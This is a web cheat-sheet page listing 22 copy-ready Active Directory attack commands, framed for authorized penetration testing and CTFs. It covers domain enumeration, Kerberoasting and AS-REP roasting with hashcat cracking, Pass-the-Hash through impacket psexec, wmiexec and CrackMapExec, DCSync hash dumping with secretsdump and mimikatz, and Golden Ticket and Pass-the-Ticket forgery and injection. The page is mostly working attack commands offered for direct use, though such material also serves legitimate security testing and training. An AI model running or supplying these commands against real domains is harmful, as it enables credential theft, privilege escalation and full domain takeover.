Skip to content
Payload Playground

Active Directory & Kerberos Cheat Sheet

Active Directory enumeration, Kerberoasting, AS-REP roasting, Pass-the-Hash, DCSync, Golden Ticket, and lateral movement techniques. (22 payloads)

Build custom Active Directory payloads in the Active Directory generator

Enumeration

(7)
net user /domain
List all domain users
net group "Domain Admins" /domain
List Domain Admins group members
nltest /dclist:<domain>
List domain controllers
Get-ADUser -Filter * -Properties * | Select Name,SamAccountName,Enabled
PowerShell: enumerate all AD users
Get-ADGroupMember "Domain Admins" | Select Name,SamAccountName
PowerShell: Domain Admins members
ldapsearch -H ldap://<DC_IP> -x -b "dc=domain,dc=com" "(objectClass=user)" sAMAccountName
LDAP enumeration of users
bloodhound-python -u user -p pass -d domain.com -c All --zip
BloodHound collection

Kerberoasting

(3)
python3 GetUserSPNs.py domain.com/user:password -dc-ip <DC_IP> -request
impacket: get TGS hashes
Rubeus.exe kerberoast /outfile:hashes.txt
Windows: Kerberoast all SPNs
hashcat -m 13100 -a 0 hashes.txt rockyou.txt
Crack TGS-REP hashes offline

AS-REP Roasting

(3)
python3 GetNPUsers.py domain.com/ -dc-ip <DC_IP> -usersfile users.txt -no-pass
Get AS-REP for accounts with no pre-auth
Rubeus.exe asreproast /outfile:asrep_hashes.txt
Windows AS-REP roasting
hashcat -m 18200 -a 0 asrep_hashes.txt rockyou.txt
Crack AS-REP hashes

Pass-the-Hash

(3)
python3 psexec.py -hashes :NTLM_HASH domain/user@target
impacket: PtH with psexec
crackmapexec smb target -u user -H NTLM_HASH
CrackMapExec: PtH SMB
python3 wmiexec.py -hashes :NTLM_HASH domain/user@target
impacket: PtH WMI exec

DCSync

(2)
python3 secretsdump.py domain/user:pass@<DC_IP>
Dump all domain hashes
mimikatz # lsadump::dcsync /domain:domain.com /user:krbtgt
DCSync for KRBTGT hash

Golden Ticket

(2)
mimikatz # kerberos::golden /user:Administrator /domain:domain.com /sid:<SID> /krbtgt:<NTLM> /ptt
Create + inject golden ticket
mimikatz # kerberos::ptt ticket.kirbi
Inject existing ticket

Pass-the-Ticket

(2)
Rubeus.exe ptt /ticket:<base64_ticket>
Inject ticket into current session
python3 getST.py -spn cifs/<target> -impersonate Administrator domain.com/user:pass
Get service ticket
ShareXLinkedInReddit

Level up your security testing

References

Related Generators

Related Cheat Sheets

Further reading

Frequently asked questions

What is the Active Directory & Kerberos Cheat Sheet?+

It's a quick-reference collection of 22 Active Directory payloads for testing Active Directory & Kerberos vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.

How do I use these Active Directory payloads?+

Copy any payload straight into your authorized test, or open the Active Directory generator to build customized Active Directory variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.

Are these Active Directory payloads free to use?+

Yes — this cheat sheet and all Active Directory payloads are completely free, with no account required. Everything runs in your browser.

Send feedback

Report an issue or suggest an improvement.

0/2000

Your report includes this page (/cheatsheets/active-directory) and your browser. If you’re signed in, we include your account ID and plan so support can prioritize Pro requests. Please leave out secrets and client data.